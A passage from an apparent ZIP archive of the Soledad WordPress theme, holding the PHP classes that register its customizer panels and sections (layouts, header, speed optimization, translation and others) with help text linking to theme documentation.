		$this->add_lazy_section( 'penci_section_footer_signupform_section', esc_html__( 'Footer SignUp Form', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form.png">this image</a> to know where is "Footer Sign-Up Form".<br>To config Footer SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Footer Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form-widgets.png">this image</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_footer_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\fnh=  =  .  customizer/config/options/text_translation.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TextTranslationOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_transition_lang_section', esc_html__( 'Quick Text Translation', 'soledad' ), '',__("If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>","soledad"));
	}
}
PK     0w\]    *  customizer/config/options/post_layouts.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PostLayoutOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_post_layout_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Posts Layouts', 'soledad' ),
			'description' => __( 'All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_standard_classic_section', esc_html__( 'Standard & Classic', 'soledad' ), $this->panelID, __('All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout. For other layouts, check on "Other Layouts" section below.','soledad') );
		$this->add_lazy_section( 'penci_section_other_layouts_section', esc_html__( 'Other Layouts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_rowsgap_section', esc_html__( 'Row Gap', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_layout_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\w    (  customizer/config/options/ad_blocker.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class AdBlockerOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_adblocker_section', esc_html__( 'Ad Blocker Detector', 'soledad' ), '' );
	}
}
PK     0w\o    !  customizer/config/options/toc.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TocOptions extends CustomizerOptionAbstract {

	public $panelID = 'penci_toc_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Table of Contents', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_toc_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_toc_styles_section', esc_html__( 'Font Sizes & Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\'l{.    $  customizer/config/options/topbar.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class TopbarOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_topbar_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'TopBar', 'soledad' ),
			'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_topbar_section', esc_html__( 'General Settings', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ));
		$this->add_lazy_section( 'pencidesign_topbar_section_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_topbar_section_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\W    .  customizer/config/options/helpful_articles.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class ArticleFeedbackOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_helpful_articles_section', esc_html__( 'Article Feedback', 'soledad' ), '' );
	}
}PK     0w\_&    ,  customizer/config/options/featured_video.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FeaturedVideoOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_featured_video_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Featured Video', 'soledad' ),
			'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/?video=video-bg&body=boxed-none">this demo</a> to know what is Featured Video Background.<br>This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.If you use Elementor or WPBakery to config your pages, you can use background video feature on section/rows to get it display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_section_fvideo_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_section_fvideo_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\r    0  customizer/config/options/speed_optimization.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SpeedOptimizationOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_speed_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Speed Optimization', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_speed_general_section', esc_html__( 'General & Lazyload', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );

		if ( function_exists( 'penci_speed_optimizer_get_stat' ) ) {
			$this->add_lazy_section( 'penci_section_speed_css_section', esc_html__( 'Optimize CSS', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );
			$this->add_lazy_section( 'penci_section_speed_javascript_section', esc_html__( 'Optimize JavaScript', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );
			$this->add_lazy_section( 'penci_section_speed_html_section', esc_html__( 'Optimize HTML', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );

		}
	}
}
PK     0w\)҂B  B  -  customizer/config/options/woo_translation.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class WooTranslationOption extends CustomizerOptionAbstract {

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_woo_section_transition_lang_section', esc_html__( 'WooCommerce Text Translation', 'soledad' ), '', __("If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>","soledad"));
	}
}
PK     0w\k.    %  customizer/config/options/general.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class GeneralOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_general_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'General', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_general_section', esc_html__( 'General Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_body_boxed_section', esc_html__( 'Body Boxed', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_archive_page_section', esc_html__( 'Category, Tags, Search, Archive Pages', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_posts_page_settings_section', esc_html__( 'Posts Page Settings', 'soledad' ), $this->panelID, __( 'You need to set a blog page by go to dashboard > Settings > Reading > Posts page' ) );
		$this->add_lazy_section( 'pencidesign_general_search_page_section', esc_html__( 'Search Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_gdpr_section', esc_html__( 'GDPR Policy', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_social_sharing_section', esc_html__( 'Like Posts & Social Sharing', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_image_sizes_section', esc_html__( 'Manage Image Sizes', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_schema_markup_section', esc_html__( 'Schema Markup', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_typography_section', esc_html__( 'Typography', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_colors_dark_section', esc_html__( 'Dark Mode', 'soledad' ), $this->panelID, __( 'You need to use the default theme in light mode to get it works perfectly.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_general_cursor_section', esc_html__( 'Cursor Effect', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_lvn_section', esc_html__( 'Live Viewer Notification', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_ageverify_section', esc_html__( 'Age Verify', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_userprofile_section', esc_html__( 'User Profile', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_linkmanager_section', esc_html__( 'Links Manager', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_maintenance_mode_section', esc_html__( 'Maintenance Mode', 'soledad' ), $this->panelID, __( 'Set your entire website as MAINTENANCE MODE, meaning the site is offline temporarily for maintenance, or set it as COMING SOON mode, meaning the site is offline until it is ready to be launched.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_general_accessibility_section', esc_html__( 'Accessibility', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_extra_section', esc_html__( 'Extra Options', 'soledad' ), $this->panelID );
	}
}
PK     0w\      (  customizer/config/options/exit_popup.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PopupEOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_exit_intent_popup_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Exit Intent Popup', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_epopup_section_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_epopup_section_styles_section', esc_html__( 'Styles & Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\j콞    +  customizer/config/options/pages_options.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PagesOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_single_page_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Pages', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_spage_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spage_header_section', esc_html__( 'Page Header', 'soledad' ), $this->panelID, __('Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"','soledad') );
		$this->add_lazy_section( 'penci_section_spage_404_section', esc_html__( '404 Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spage_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\    "  customizer/config/options/init.phpnu [        <?php
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/custom_css.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/featured_slider.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/featured_video.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/footer.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/general.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/homepage.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/logo_header.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/pages_options.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/popup.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/exit_popup.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/ad_blocker.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/helpful_articles.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/push_notification.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/post_layouts.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/sidebar.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/single_post.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/toc.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/social_media.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/speed_optimization.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/text_translation.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/topbar.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/verticalnav-hamburger.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/woo_translation.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/woocommerce.php';PK     0w\<`    (  customizer/config/options/custom_css.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class CustomCSSOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_custom_css_section', esc_html__( 'Custom CSS', 'soledad' ), '', esc_html__( 'Add your custom CSS which will overwrite the theme CSS', 'soledad' ) );
	}
}
PK     0w\̉=	  	  3  customizer/config/options/verticalnav-hamburger.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class VerticalNavHamburgeOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_vernav_hamburger_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Vertical Navigation & Hamburger Menu', 'soledad' ),
			'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_menu_hbg_section', esc_html__( 'General', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ) );
		$this->add_lazy_section( 'penci_menu_hbg_widgets_section', esc_html__( 'Widgets', 'soledad' ), $this->panelID, __( 'When you use Vertical Navigation or Hamburger Menu, you can add widgets display above or below the menu like on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets.png">this image</a> via Appearance > Widgets > drag & drop widgets on the left side to "Sidebar Hamburger Widgets Above Menu" and "Sidebar Hamburger Widgets Below Menu" - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets2.png">this image</a>.', 'soledad' ) );
		$this->add_lazy_section( 'penci_menu_hbg_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\(r9  9  )  customizer/config/options/logo_header.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class LogoHeaderOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_logoheader_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Logo & Header', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_builder_general_section', esc_html__( 'Header Builder', 'soledad' ), $this->panelID, __( 'You can add new and edit a header builder on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci_builder' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4" target="_blank">this video tutorial</a> to know how to setup your header builder.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_logo_section', esc_html__( 'Logo', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_slogan_section', esc_html__( 'Slogan Text', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/slogan-text.png">this image</a> to know what is Slogan text. Note that slogan text does not supports on some header styles', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_primary_menu_section', esc_html__( 'Main Bar & Primary Menu', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/mainbar-primary.png">this image</a> to know what is "Main Bar" and "Primary Menu"', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_category_megamenu_section', esc_html__( 'Category Mega Menu', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/category-mega-menu.png">this image</a> to know what is Category Mega Menu. To config a category mega menu, please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#menu">this guide</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_header_signupform_section', esc_html__( 'Header SignUp Form', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form.png">this image</a> to know where is "Header Sign-Up Form".<br>To config Header SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Header Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form-widget.png">this image</a>.<br>If you use Elementor or WPBakery Page Builder to config your page, you can use element "Penci Mailchimp" to get it display.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_verticalnav_section', esc_html__( 'Vertical Mobile Navigation', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_colors_trans_section', esc_html__( 'Colors for Transparent Header', 'soledad' ), $this->panelID );
	}
}
PK     0w\?:!?	  ?	  )  customizer/config/options/single_post.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SinglePostOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_single_post_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Single Posts', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_spost_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_inline_reposts_section', esc_html__( 'Inline Related Posts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_related_posts_section', esc_html__( 'Related Posts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_comments_section', esc_html__( 'Comments Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_reading_progress_section', esc_html__( 'Post Reading Progress Bar', 'soledad' ), $this->panelID);
		$this->add_lazy_section( 'penci_section_spost_autoload_section', esc_html__( 'Infinity Scrolling Load Posts', 'soledad' ), $this->panelID, esc_html__( 'When you viewing a single post page, scroll down and this feature can help you load the next/previous posts automatically.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_select_share_section', esc_html__( 'Share Selection Text', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_cpost_meta_section', esc_html__( 'Show Custom Post Meta', 'soledad' ), $this->panelID, __('The options here are not applied for Single Post Builder.','soledad') );
		$this->add_lazy_section( 'penci_section_spost_cptype_builder_section', esc_html__( 'Custom Post Types Builder', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_pformats_builder_section', esc_html__( 'Post Formats Builder', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\.ܚ    -  customizer/config/options/featured_slider.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FeaturedSliderOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_featured_slider_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Featured Slider', 'soledad' ),
			'description' => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.<br>If you use Elementor or WPBakery to config your pages, you can use element "Penci Featured Slider" to get the slider display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_fslider_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_fslider_fsize_section', esc_html__( 'Font Sizes', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_fslider_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\C^E  E  %  customizer/config/options/sidebar.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SidebarOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_sidebar_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Sidebar', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_sidebar_general_section', esc_html__( 'General', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/widget-heading-title.png">this image</a> to know what is "Sidebar Widget Heading"', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_sidebar_fsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_sidebar_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     0w\]  ]  &  customizer/config/options/homepage.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class HomepageOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_homepage_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Homepage', 'soledad' ),
			'description' => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_homepage_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_homepage_featured_boxes_section', esc_html__( 'Home Featured Boxes', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-boxes.png">this image</a> to understand what is Featured Boxes.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_popular_posts_section', esc_html__( 'Home Popular Posts', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-popular-posts.png">this image</a> to understand what is Home Popular Posts.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_title_box_section', esc_html__( 'Home Title Box', 'soledad' ), $this->panelID, __( 'You can understand "Home Title Box" is the block heading title of a featured category or block heading title of the "Latest Posts" section on the homepage.<br>Please check more on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-title-box.png">this image</a>.', 'soledad' ) );
